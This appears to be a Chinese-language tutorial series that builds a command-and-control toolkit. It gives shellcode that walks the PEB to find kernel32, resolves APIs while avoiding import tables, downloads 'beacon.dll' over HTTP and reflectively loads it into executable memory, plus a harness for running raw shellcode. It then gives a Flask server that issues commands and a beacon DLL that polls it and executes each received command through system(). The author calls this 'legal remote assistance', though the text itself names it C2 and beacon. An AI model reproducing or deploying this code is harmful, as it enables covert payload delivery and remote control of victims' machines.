uint64_t base_address = 0;
__asm
{
mov eax, fs: [30h]
mov dword ptr[base_address], eax
}
unsigned short m_counter;
uint64_t ldr_table;
uint64_t dll_name;
uint64_t hash_name;
uint64_t kernel32_base = 0;
base_address = (uint64_t)((_PEB*)base_address)->pLdr;
ldr_table =
(uint64_t)((PPEB_LDR_DATA)base_address)->InMemoryOrderModuleList.Flink;
//1. 通过peb里面的LDR找到kernel32的地址
while (ldr_table) {
dll_name =
(uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.pBuffer;
m_counter = ((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.Length;
hash_name = 0;
do {
hash_name = _rotr((unsigned long)hash_name, 13);
if (*((unsigned char*)dll_name) >= 'a')
hash_name += *((unsigned char*)dll_name) - 0x20;
else
hash_name += *((unsigned char*)dll_name);
dll_name++;
} while (--m_counter);
//hash name其实是基于dll_name的因为我们也不想取到其他的莫名其妙的东西,做个简单地hash会准确很多
//如果你不想用hashname,那么你可以printf("%wZ",dll_name);观察一下dll name自己想一下新的思路
if ((unsigned long)hash_name == 0x6A4ABC5B) {
//这就是kernel.dll的地址了
kernel32_base = (uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->DllBase;
break;
}
ldr_table = DEREF(ldr_table);
if (kernel32_base != 0) {
//找到了退出
break;
}
}
if (kernel32_base == 0) {
__debugbreak();
}
typedef HMODULE(WINAPI* GetProcAddressT)(_In_ HMODULE hModule, char* lpProcName);
typedef HMODULE(WINAPI* LoadLibraryAT)(_In_ LPCSTR lpLibFileName);
GetProcAddressT fnGetProcAddress = NULL;
LoadLibraryAT fnLoadlibrary = NULL;
//别在意这边的大小写驼峰混乱,因为是两套代码拼接的,懒得改了....
UINT_PTR uiAddressArray = NULL;
UINT_PTR uiNameArray = NULL;
UINT_PTR uiNameOrdinals = NULL;
PIMAGE_NT_HEADERS32 pNtHeaders32 = NULL;
PIMAGE_NT_HEADERS64 pNtHeaders64 = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
// 解析PE头
pNtHeaders32 = (PIMAGE_NT_HEADERS32)(kernel32_base + ((PIMAGE_DOS_HEADER)kernel32_base)->e_lfanew);
pNtHeaders64 = (PIMAGE_NT_HEADERS64)(kernel32_base + ((PIMAGE_DOS_HEADER)kernel32_base)->e_lfanew);
// 拿到导出表
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// 遍历导出表
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(kernel32_base + pDataDirectory->VirtualAddress);
uiAddressArray = (kernel32_base + pExportDirectory->AddressOfFunctions);
uiNameArray = (kernel32_base + pExportDirectory->AddressOfNames);
uiNameOrdinals = (kernel32_base + pExportDirectory->AddressOfNameOrdinals);
unsigned long dwCounter = pExportDirectory->NumberOfNames;
char str1[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', ' ' };
char str2[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',' ' };
while (dwCounter--)
{
char* cpExportedFunctionName = (char*)(kernel32_base + DEREF_32(uiNameArray));
char* matchPtr = &str1[0];
int ret = 0;
while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName)
{
cpExportedFunctionName++;
matchPtr++;
}
if (ret == 0)
{
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long));
fnGetProcAddress = (GetProcAddressT)(kernel32_base + DEREF_32(uiAddressArray));
}
else {
cpExportedFunctionName = (char*)(kernel32_base + DEREF_32(uiNameArray));
char* matchPtr = &str2[0];
ret = 0;
while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName)
{
cpExportedFunctionName++;
matchPtr++;
}
if (ret == 0)
{
uiAddressArray = (kernel32_base + pExportDirectory->AddressOfFunctions);
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long));
fnLoadlibrary = (LoadLibraryAT)(kernel32_base + DEREF_32(uiAddressArray));
}
}
if (fnLoadlibrary && fnGetProcAddress) {
break;
}
uiNameArray += sizeof(unsigned long);
uiNameOrdinals += sizeof(unsigned short);
}
if (fnLoadlibrary == NULL || fnGetProcAddress == NULL) {
__debugbreak();
}
typedef struct _URL_INFO
{
WCHAR szScheme[36];
WCHAR szHostName[36];
WCHAR szUserName[36];
WCHAR szPassword[36];
WCHAR szUrlPath[36];
WCHAR szExtraInfo[36];
}URL_INFO, * PURL_INFO;
_URL_INFO url;
URL_COMPONENTSW lpUrlComponents;
lpUrlComponents.dwStructSize = sizeof(lpUrlComponents);
lpUrlComponents.lpszExtraInfo = url.szExtraInfo;
lpUrlComponents.lpszHostName = url.szHostName;
lpUrlComponents.lpszPassword = url.szPassword;
lpUrlComponents.lpszScheme = url.szScheme;
lpUrlComponents.lpszUrlPath = url.szUrlPath;
lpUrlComponents.lpszUserName = url.szUserName;
lpUrlComponents.dwExtraInfoLength =
lpUrlComponents.dwHostNameLength =
lpUrlComponents.dwPasswordLength =
lpUrlComponents.dwSchemeLength =
lpUrlComponents.dwUrlPathLength =
lpUrlComponents.dwUserNameLength = 36;
typedef HMODULE(WINAPI* WinHttpCrackUrlT)(_In_reads_(dwUrlLength) LPCWSTR pwszUrl, _In_ DWORD dwUrlLength, _In_ DWORD dwFlags, _Inout_ LPURL_COMPONENTS lpUrlComponents);
typedef HINTERNET(WINAPI* WinHttpOpenT)(_In_opt_z_ LPCWSTR pszAgentW,
_In_ DWORD dwAccessType,
_In_opt_z_ LPCWSTR pszProxyW,
_In_opt_z_ LPCWSTR pszProxyBypassW,
_In_ DWORD dwFlags);
typedef HINTERNET(WINAPI* WinHttpConnectT)(
IN HINTERNET hSession,
IN LPCWSTR pswzServerName,
IN INTERNET_PORT nServerPort,
IN DWORD dwReserved);
typedef HINTERNET(WINAPI* WinHttpOpenRequestT)(
IN HINTERNET hConnect,
IN LPCWSTR pwszVerb,
IN LPCWSTR pwszObjectName,
IN LPCWSTR pwszVersion,
IN LPCWSTR pwszReferrer OPTIONAL,
IN LPCWSTR FAR* ppwszAcceptTypes OPTIONAL,
IN DWORD dwFlags);
typedef BOOL(WINAPI* WinHttpSendRequestT)(
IN HINTERNET hRequest,
_In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,
IN DWORD dwHeadersLength,
_In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,
IN DWORD dwOptionalLength,
IN DWORD dwTotalLength,
IN DWORD_PTR dwContext);
typedef BOOL(WINAPI* WinHttpReceiveResponseT)(
IN HINTERNET hRequest,
IN LPVOID lpReserved);
typedef BOOL(WINAPI* WinHttpQueryHeadersT)(
IN HINTERNET hRequest,
IN DWORD dwInfoLevel,
IN LPCWSTR pwszName OPTIONAL,
_Out_writes_bytes_to_opt_(*lpdwBufferLength, *lpdwBufferLength) __out_data_source(NETWORK) LPVOID lpBuffer,
IN OUT LPDWORD lpdwBufferLength,
IN OUT LPDWORD lpdwIndex OPTIONAL);
typedef BOOL(WINAPI* WinHttpCloseHandleT)(
IN HINTERNET hInternet);
typedef BOOL(WINAPI* WinHttpReadDataT)(
IN HINTERNET hRequest,
_Out_writes_bytes_to_(dwNumberOfBytesToRead, *lpdwNumberOfBytesRead) __out_data_source(NETWORK) LPVOID lpBuffer,
IN DWORD dwNumberOfBytesToRead,
OUT LPDWORD lpdwNumberOfBytesRead);
typedef void*(WINAPI* memcpyT)(
_Out_writes_bytes_all_(_Size) void* _Dst,
_In_reads_bytes_(_Size) void const* _Src,
_In_ size_t _Size);
constexpr char strWinHttpCrackUrl[] = "WinHttpCrackUrl";
constexpr char strWinHttpOpen[] = "WinHttpOpen";
constexpr char strWinHttpConnect[] = "WinHttpConnect";
constexpr char strWinHttpOpenRequest[] = "WinHttpOpenRequest";
constexpr char strWinHttpSendRequest[] = "WinHttpSendRequest";
constexpr char strWinHttpReceiveResponse[] = "WinHttpReceiveResponse";
constexpr char strWinHttpQueryHeaders[] = "WinHttpQueryHeaders";
constexpr char strWinHttpCloseHandle[] = "WinHttpCloseHandle";
constexpr char strWinHttpReadData[] = "WinHttpReadData";
constexpr char strMemcpy[] = "memcpy";
constexpr char strWinhttp[] = "Winhttp.dll";
constexpr wchar_t strUrl[] = L"http://127.0.0.1/beacon.dll";
constexpr wchar_t strHead[] = L"HEAD";
constexpr wchar_t strHTTP[] = L"HTTP/1.1";
constexpr wchar_t strGet[] = L"GET";
constexpr char strMsvcrt[] = "msvcrt.dll";
WinHttpCrackUrlT fnWinHttpCrackUrl = (WinHttpCrackUrlT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpCrackUrl);
WinHttpOpenT fnWinHttpOpen = (WinHttpOpenT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpOpen);
WinHttpConnectT fnWinHttpConnect = (WinHttpConnectT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpConnect);
WinHttpOpenRequestT fnWinHttpOpenRequest = (WinHttpOpenRequestT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpOpenRequest);
WinHttpSendRequestT fnWinHttpSendRequest = (WinHttpSendRequestT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpSendRequest);
WinHttpReceiveResponseT fnWinHttpReceiveResponse = (WinHttpReceiveResponseT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpReceiveResponse);
WinHttpQueryHeadersT fnWinHttpQueryHeaders = (WinHttpQueryHeadersT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpQueryHeaders);
WinHttpCloseHandleT fnWinHttpCloseHandle = (WinHttpCloseHandleT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpCloseHandle);
WinHttpReadDataT fnWinHttpReadData = (WinHttpReadDataT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpReadData);
memcpyT fnMemcpy = (memcpyT)fnGetProcAddress(fnLoadlibrary(strMsvcrt), (char*)strMemcpy);
// 创建一个会话
fnWinHttpCrackUrl(strUrl, 0, ICU_ESCAPE, &lpUrlComponents);
HINTERNET hSession = fnWinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);
DWORD dwReadBytes, dwSizeDW = sizeof(dwSizeDW), dwContentSize, dwIndex = 0;
// 创建一个连接
HINTERNET hConnect = fnWinHttpConnect(hSession, lpUrlComponents.lpszHostName, lpUrlComponents.nPort, 0);
// 创建一个请求,先查询内容的大小
HINTERNET hRequest = fnWinHttpOpenRequest(hConnect, strHead, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
fnWinHttpReceiveResponse(hRequest, 0);
fnWinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex);
fnWinHttpCloseHandle(hRequest);
// 创建一个请求,获取数据
hRequest = fnWinHttpOpenRequest(hConnect, strGet, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
fnWinHttpReceiveResponse(hRequest, 0);
typedef LPVOID(WINAPI* VirtualAllocT)(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect);
constexpr char strVirtualAlloc[] = "VirtualAlloc";
VirtualAllocT fnVirtualAlloc = (VirtualAllocT)fnGetProcAddress((HMODULE)kernel32_base, (char*)strVirtualAlloc);
//别介意代码风格突变,这是另外一个项目复制粘贴的.
const auto fileSize = dwContentSize;
void* rawBuffer = fnVirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
fnWinHttpReadData(hRequest, rawBuffer, fileSize, &dwReadBytes);
//把之前的链接关掉
fnWinHttpCloseHandle(hRequest);
fnWinHttpCloseHandle(hConnect);
fnWinHttpCloseHandle(hSession);
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)rawBuffer;
PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)((LPBYTE)rawBuffer + pIDH->e_lfanew);
void* imageBuffer = fnVirtualAlloc(NULL, pINH->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
fnMemcpy(imageBuffer, rawBuffer, pINH->OptionalHeader.SizeOfHeaders);
PIMAGE_SECTION_HEADER pISH = (PIMAGE_SECTION_HEADER)(pINH + 1);
for (size_t i = 0; i < pINH->FileHeader.NumberOfSections; i++)
{
fnMemcpy((PVOID)((LPBYTE)imageBuffer + pISH[i].VirtualAddress), (PVOID)((LPBYTE)rawBuffer + pISH[i].PointerToRawData), pISH[i].SizeOfRawData);
}
//重定位
DWORD delta = (DWORD)((LPBYTE)imageBuffer - pINH->OptionalHeader.ImageBase); // Calculate the delta
PIMAGE_BASE_RELOCATION pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)imageBuffer + pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
while (pIBR->VirtualAddress)
{
if (pIBR->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))
{
DWORD count = (pIBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PWORD list = (PWORD)(pIBR + 1);
for (size_t i = 0; i < count; i++)
{
if (list[i])
{
PDWORD ptr = (PDWORD)((LPBYTE)imageBuffer + (pIBR->VirtualAddress + (list[i] & 0xFFF)));
*ptr += delta;
}
}
}
pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)pIBR + pIBR->SizeOfBlock);
}
//导入表修复
PIMAGE_IMPORT_DESCRIPTOR pIID = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)imageBuffer + pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (pIID->Characteristics)
{
PIMAGE_THUNK_DATA OrigFirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)imageBuffer + pIID->OriginalFirstThunk);
PIMAGE_THUNK_DATA FirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)imageBuffer + pIID->FirstThunk);
HANDLE hModule = fnLoadlibrary((LPCSTR)imageBuffer + pIID->Name);
while (OrigFirstThunk->u1.AddressOfData)
{
if (OrigFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// Import by ordinal
DWORD Function = (DWORD)fnGetProcAddress((HMODULE)hModule, (char*)(OrigFirstThunk->u1.Ordinal & 0xFFFF));
FirstThunk->u1.Function = Function;
}
else
{
// Import by name
PIMAGE_IMPORT_BY_NAME pIBN = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)imageBuffer + OrigFirstThunk->u1.AddressOfData);
DWORD Function = (DWORD)fnGetProcAddress((HMODULE)hModule, (char*)pIBN->Name);
FirstThunk->u1.Function = Function;
}
OrigFirstThunk++;
FirstThunk++;
}
pIID++;
}
//一切就绪 call一下entry
typedef BOOL(WINAPI* PDLL_MAIN)(HMODULE, DWORD, PVOID);
PDLL_MAIN EntryPoint = (PDLL_MAIN)((LPBYTE)imageBuffer + pINH->OptionalHeader.AddressOfEntryPoint);
EntryPoint((HMODULE)imageBuffer, DLL_PROCESS_ATTACH, NULL); // Call the entry point
}
void shellcode_end() {
__debugbreak();
}
int main()
{
const auto start_address = (uint32_t)shellcode_start;
const auto shellcode_size = (uint32_t)shellcode_end - (uint32_t)start_address;
for (size_t i = 0; i < shellcode_size; i++)
{
auto sig_code = ((unsigned char*)start_address)[i];
printf(",0x%02X", sig_code);
}
/*
char shellcode[] = { ... };
PVOID p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(p, shellcode, sizeof(shellcode));
typedef void(__stdcall* door_code) ();
door_code run_shellcode = (door_code)p;
run_shellcode();
*/
system("pause");
}
是时候编写我们的服务端了,之前都是客户端
服务端就不用c++了,那玩意谁用谁知道,两个字 癌症.所以服务端改成http的服务端.这边你要准备好python3,并且把pip的源换成国内的.
安装好flask
假设你准备好了
python3,并且把pip的源换成国内的
你只需要在命令行输入python -m pip install flask
即可安装好flask.然后找个目录新建一个.py文件
新手推荐使用jb全家桶作为IDE.但是我个人喜欢vscode.总之不要使用 不要使用 不要使用 notepad或者notepad++
flask的第一个hello world
虽然本系列不教python,但是为了后续的没问题,应该先写个hello world出来:
这是代码,请直接复制粘贴
from flask import Flask
app = Flask(__name__)
@app.route("/")
def root():
return '你好世界'
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0")
然后打开控制台输入python xxx.py(xxx是你刚刚的python文件名)
当提示这些的时候,访问哪个running on xxx的url,你应该就看得到一个你好世界了
准备接受指令的接口
首先我们需要对我们的远程协助软件的指令有个结构认知
在本系列我不打算使用json/protobuf啥的,因为对新手不友好.所以我们使用最传统的结构,也就是文本分隔符
定为客户端的密码|指令
客户端在密码正确的情况下返回回显
请注意,我们没有在做C2,我们在做的是合法的远程协助软件.合法的远程协助是需要客户端的密码的.这样代表是授权了.
输入指令的接口
我们希望我们有个地方能输入指令,所以这个也需要有个接口.同时我们也希望有个输入的web界面
需求汇总
-
我们需要有个接口让客户端不断循环访问,接受命令然后执行
-
我们需要有个接口让客户端执行完毕后返回回显给我们
-
我们需要有个接口让我们能输入命令
-
我们需要有个界面
本篇文章篇幅有限,只解决1-3的服务端的问题
客户端 -> 服务端接口
@app.route('/api/v1/client/get_cmd', methods=['GET'])
def client_get_cmd():
return "这是命令"
逐个介绍以下@app.route('/api/v1/client/get_cmd', methods=['GET'])
这个代表当客户端访问/api/v1/client/get_cmd
的时候,执行client_get_cmd这个方法
client_get_cmd返回一个”这是命令”
把这个代码放到上面空白的地方后,访问http://xxxxxx/api/v1/client/get_cmd
应该看得到这个接口的返回值了:
然后我们需要定义一个全局变量,代表是我们要输入的命令,再把我们输出的内容替换成这个变量
这是代码:
from flask import Flask
app = Flask(__name__)
g_cmd = ""
@app.route('/api/v1/client/get_cmd', methods=['GET'])
def client_get_cmd():
global g_cmd
return g_cmd
@app.route("/")
def root():
return '你好世界'
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0")
后续我们就会操作这个g_cmd的变量
客户端执行结果 -> 服务端
客户端执行完代码后,要给服务端发送回显代码,我们根据上面如法炮制,只不过这次我们就不能用get的方法了,用post的方法:
g_respone = ""
@app.route('/api/v1/server/get_respone', methods=['POST'])
def server_get_respone():
global g_respone
g_respone = request.data.decode()
return "1337"
注意看有几个不同的是,我们这次用的是post的方法,而且变成了接受客户端的信息
至于为什么要用post方法因为回显有很多字符串是不能在url里面显示的,此外url也有显示的上限所以用post最大是4m的数据已经足够我们干活了
服务端输入命令&服务端获取回显
跟第一步一样,如法炮制
@app.route('/api/v1/server/send_cmd', methods=['GET'])
def client_send_cmd():
global g_cmd
g_cmd = request.args.get('key') + "|" + request.args.get('cmd')
return {'success': True, 'cmd': g_cmd}
这里返回了json,因为我们后续要用js渲染一些东西.
回显:
@app.route('/api/v1/server/get_client_respone', methods=['GET'])
def server_get_client_respone():
global g_respone
return g_respone
测试
如果准确无误,我们可以模拟一遍服务端的流程:
浏览器访问http://xxxxx:5000/api/v1/server/send_cmd?key=1111&cmd=dir
应该返回
{
"cmd": "1111|dir",
"success": true
}
访问http://127.0.0.1:5000/api/v1/client/get_cmd
应该返回你刚刚输入的命令和密钥1111|dir
完整代码
from flask import Flask
from flask import request
app = Flask(__name__)
g_cmd = ""
g_respone = ""
@app.route('/api/v1/server/get_respone', methods=['POST'])
def server_get_respone():
global g_respone
g_respone = request.data.decode()
return "1337"
@app.route('/api/v1/server/get_client_respone', methods=['GET'])
def server_get_client_respone():
global g_respone
return g_respone
@app.route('/api/v1/server/send_cmd', methods=['GET'])
def client_send_cmd():
global g_cmd
g_cmd = request.args.get('key') + "|" + request.args.get('cmd')
return {'success': True, 'cmd': g_cmd}
@app.route('/api/v1/client/get_cmd', methods=['GET'])
def client_get_cmd():
global g_cmd
return g_cmd
@app.route("/")
def root():
return '你好世界'
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0")
下一章节我们将介绍客户端如何跟C2服务器进行联动
是时候让客户端链接我们的服务端了!
确定需求
凡事先确定一下需求,根据上一章服务端的配置,我们客户端有如下需求:
-
循环链接服务端
-
校验服务端的密码是否正确
-
执行服务端发送的指令
-
返回回显给服务端
其中第四步本系列不再讨论留作家庭作业.我们来实现前三步
循环链接服务端
我们为了简单,不用curl或者openssl这些巨大的蠕虫库,我们使用winhttp作为链接工具.
这里是一个简单的winhttp封装,只实现了get方法,至于post方法发回回显就只能当作作业了
#define WINHTTP_STACK_LIMIT 64
typedef struct _winhttp_url_custom_stack {
wchar_t szScheme[WINHTTP_STACK_LIMIT];
wchar_t szHostName[WINHTTP_STACK_LIMIT];
wchar_t szUserName[WINHTTP_STACK_LIMIT];
wchar_t szPassword[WINHTTP_STACK_LIMIT];
wchar_t szUrlPath[WINHTTP_STACK_LIMIT];
wchar_t szExtraInfo[WINHTTP_STACK_LIMIT];
} _winhttp_url_custom_stack;
namespace Winhttp {
auto initParams(URL_COMPONENTS* urlParams,
_winhttp_url_custom_stack* inputParams) -> void {
urlParams->dwStructSize = sizeof(URL_COMPONENTS);
urlParams->lpszExtraInfo = inputParams->szExtraInfo;
urlParams->lpszHostName = inputParams->szHostName;
urlParams->lpszPassword = inputParams->szPassword;
urlParams->lpszScheme = inputParams->szScheme;
urlParams->lpszUrlPath = inputParams->szUrlPath;
urlParams->lpszUserName = inputParams->szUserName;
urlParams->dwExtraInfoLength = urlParams->dwHostNameLength =
urlParams->dwPasswordLength = urlParams->dwSchemeLength =
urlParams->dwUrlPathLength = urlParams->dwUserNameLength =
WINHTTP_STACK_LIMIT;
}
auto Get(std::wstring url, void** outBuffer, size_t& outBufferSize) -> bool {
_winhttp_url_custom_stack winHttpStack = {0};
URL_COMPONENTS urlParams = {0};
HINTERNET httpSession = 0, httpConnectHandle = 0, httpRequest = 0;
initParams(&urlParams, &winHttpStack);
void* buffer = nullptr;
size_t bufferSize = 0;
size_t readSize = 0;
size_t realySize = 0;
bool status = false;
DWORD headBufferSize = sizeof(headBufferSize), headContextSize,
headIndex = 0;
do {
auto httpStatus =
WinHttpCrackUrl(url.c_str(), url.size(), ICU_DECODE, &urlParams);
if (httpStatus == false) {
break;
}
httpSession =
WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);
if (httpSession == 0) {
break;
}
httpConnectHandle = WinHttpConnect(httpSession, urlParams.lpszHostName,
urlParams.nPort, 0);
if (httpConnectHandle == 0) {
break;
}
httpRequest = WinHttpOpenRequest(
httpConnectHandle, L"GET", urlParams.lpszUrlPath, L"HTTP/1.1",
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_REFRESH);
if (httpRequest == 0) {
break;
}
if (WinHttpSendRequest(httpRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0) == false) {
break;
}
if (WinHttpReceiveResponse(httpRequest, 0) == false) {
break;
}
if (WinHttpQueryDataAvailable(
httpRequest, reinterpret_cast<LPDWORD>(&realySize)) == false) {
break;
}
buffer = malloc(realySize);
if (buffer == nullptr) {
break;
}
memset(buffer, 0, realySize);
bufferSize = realySize;
if (WinHttpReadData(httpRequest, buffer, realySize,
reinterpret_cast<LPDWORD>(&realySize)) == false) {
break;
}
status = true;
} while (false);
if (status) {
*outBuffer = buffer;
outBufferSize = bufferSize;
} else {
if (buffer != nullptr) {
free(buffer);
}
}
// close
if (httpRequest != 0) {
WinHttpCloseHandle(httpRequest);
}
if (httpConnectHandle != 0) {
WinHttpCloseHandle(httpConnectHandle);
}
if (httpSession != 0) {
WinHttpCloseHandle(httpSession);
}
return status;
}
} // namespace Winhttp
winhttp这块要注意一点:
调试的时候绝对不能在DLL_PROCESS_ATTACH使用,会造成死锁.原因不明,所以我们要新建一个线程启动.在shellcode中不存在这个问题
这是代码:
auto easyCreateThread(void* pFunctionAddress, void* pParams) -> HANDLE {
return CreateThread(
NULL, NULL, reinterpret_cast<LPTHREAD_START_ROUTINE>(pFunctionAddress),
static_cast<LPVOID>(pParams), NULL, NULL);
}
auto Work() -> void {
easyCreateThread(reinterpret_cast<void*>(loopWork), nullptr);
}
循环请求服务端等待消息
在线程启动后,我们需要循环请求服务端的消息,为了避免快速请求导致拉闸,我们会每1秒请求一次.
此外,为了安全与合法,我们需要在客户端生成随机字符串作为key.只有服务端的key和客户端key对的上才能链接.
也就是说只有在客户端同意的情况下,服务端才能链接上客户端.否做就成了C2了:
namespace Auth {
std::string localKey;
auto strRand(int length) -> std::string {
char tmp;
std::string buffer;
std::random_device rd;
std::default_random_engine random(rd());
for (int i = 0; i < length; i++) {
tmp = random() % 36;
if (tmp < 10) {
tmp += '0';
} else {
tmp -= 10;
tmp += 'A';
}
buffer += tmp;
}
return buffer;
}
bool CheckPassword(std::string key) { return key == localKey; }
void Init() { localKey = strRand(6); }
} // namespace Auth
我们将会生成6位的密码
组装在一起
我们将之前的组合在一起:
void loopWork() {
static const std::wstring cmdUrl =
L"http://127.0.0.1:1887/api/v1/client/get_cmd";
Auth::Init();
printf("你的本地密钥是: %s 请不要随便分享给其他人n",
Auth::localKey.c_str());
do {
void* buffer = nullptr;
size_t bufferSize = 0;
bool status = Winhttp::Get(cmdUrl, &buffer, bufferSize);
if (status && buffer != nullptr) {
std::string serverCmd =
std::string(reinterpret_cast<char*>(buffer), bufferSize);
if (serverCmd.size() > 0) {
std::string key = serverCmd.substr(0, 6);
if (Auth::CheckPassword(key)) {
std::string cmd = serverCmd.substr(7, serverCmd.size());
printf("cmd: %s n", cmd.c_str());
system(cmd.c_str());
}
}
free(buffer);
}
Sleep(1000);
} while (true);
}
测试
启动客户端:
在服务端的接口输入密码和要执行的代码后:
我们的客户端就执行了对应的代码了
作业
-
完成回显回报
-
完成前端页面,输入代码显示回显
-
加密密码,密码应该用hash而不是明文传输
完整beacon代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#define WINHTTP_STACK_LIMIT 64
typedef struct _winhttp_url_custom_stack {
wchar_t szScheme[WINHTTP_STACK_LIMIT];
wchar_t szHostName[WINHTTP_STACK_LIMIT];
wchar_t szUserName[WINHTTP_STACK_LIMIT];
wchar_t szPassword[WINHTTP_STACK_LIMIT];
wchar_t szUrlPath[WINHTTP_STACK_LIMIT];
wchar_t szExtraInfo[WINHTTP_STACK_LIMIT];
} _winhttp_url_custom_stack;
namespace Winhttp {
auto initParams(URL_COMPONENTS* urlParams,
_winhttp_url_custom_stack* inputParams) -> void {
urlParams->dwStructSize = sizeof(URL_COMPONENTS);
urlParams->lpszExtraInfo = inputParams->szExtraInfo;
urlParams->lpszHostName = inputParams->szHostName;
urlParams->lpszPassword = inputParams->szPassword;
urlParams->lpszScheme = inputParams->szScheme;
urlParams->lpszUrlPath = inputParams->szUrlPath;
urlParams->lpszUserName = inputParams->szUserName;
urlParams->dwExtraInfoLength = urlParams->dwHostNameLength =
urlParams->dwPasswordLength = urlParams->dwSchemeLength =
urlParams->dwUrlPathLength = urlParams->dwUserNameLength =
WINHTTP_STACK_LIMIT;
}
auto Get(std::wstring url, void** outBuffer, size_t& outBufferSize) -> bool {
_winhttp_url_custom_stack winHttpStack = {0};
URL_COMPONENTS urlParams = {0};
HINTERNET httpSession = 0, httpConnectHandle = 0, httpRequest = 0;
initParams(&urlParams, &winHttpStack);
void* buffer = nullptr;
size_t bufferSize = 0;
size_t readSize = 0;
size_t realySize = 0;
bool status = false;
DWORD headBufferSize = sizeof(headBufferSize), headContextSize,
headIndex = 0;
do {
auto httpStatus =
WinHttpCrackUrl(url.c_str(), url.size(), ICU_DECODE, &urlParams);
if (httpStatus == false) {
break;
}
httpSession =
WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);
if (httpSession == 0) {
break;
}
httpConnectHandle = WinHttpConnect(httpSession, urlParams.lpszHostName,
urlParams.nPort, 0);
if (httpConnectHandle == 0) {
break;
}
httpRequest = WinHttpOpenRequest(
httpConnectHandle, L"GET", urlParams.lpszUrlPath, L"HTTP/1.1",
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_REFRESH);
if (httpRequest == 0) {
break;
}
if (WinHttpSendRequest(httpRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0) == false) {
break;
}
if (WinHttpReceiveResponse(httpRequest, 0) == false) {
break;
}
if (WinHttpQueryDataAvailable(
httpRequest, reinterpret_cast<LPDWORD>(&realySize)) == false) {
break;
}
buffer = malloc(realySize);
if (buffer == nullptr) {
break;
}
memset(buffer, 0, realySize);
bufferSize = realySize;
if (WinHttpReadData(httpRequest, buffer, realySize,
